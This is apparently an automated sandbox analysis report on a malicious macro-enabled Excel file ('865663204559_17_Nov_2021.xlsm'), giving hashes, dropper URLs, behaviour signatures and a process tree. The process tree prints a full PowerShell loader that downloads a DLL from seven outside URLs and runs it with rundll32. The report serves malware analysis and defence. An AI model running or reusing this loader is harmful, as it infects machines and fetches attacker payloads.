Overview

overview

10

Static

static

8

8656632045...1.xlsm

windows7_x64

10

8656632045...1.xlsm

windows10_x64

10

Resubmissions

24-11-2021 17:59

211124-wk8rgsddbm 10

22-11-2021 14:46

211122-r5n6csagd6 10

22-11-2021 14:46

211122-r5csbsfgdp 10

22-11-2021 14:44

211122-r4kfsafgdn 10

22-11-2021 14:41

211122-r2x9vsfgcq 10

22-11-2021 14:20

211122-rneklaffgr 10

22-11-2021 14:15

211122-rkk8zaffgl 10

17-11-2021 06:51

211117-hm1l1aeefm 10

17-11-2021 06:37

211117-hdnk3seedn 10

Analysis

  • max time kernel
    121s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    24-11-2021 17:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    865663204559_17_Nov_2021.xlsm

  • Size

    44KB

  • MD5

    477fd718bb764ffe3c5afde16c6c8dd2

  • SHA1

    eb932e19d95f88d64270d40cdc0b92c6d1cf63be

  • SHA256

    ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

  • SHA512

    f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/
exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/
exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/
exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/
exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
          PID:3812

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2692-118-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-119-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-120-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-121-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-122-0x0000024FB5980000-0x0000024FB5982000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2692-123-0x0000024FB5980000-0x0000024FB5982000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2692-124-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-125-0x0000024FB5980000-0x0000024FB5982000-memory.dmp

      Filesize

      8KB

      Download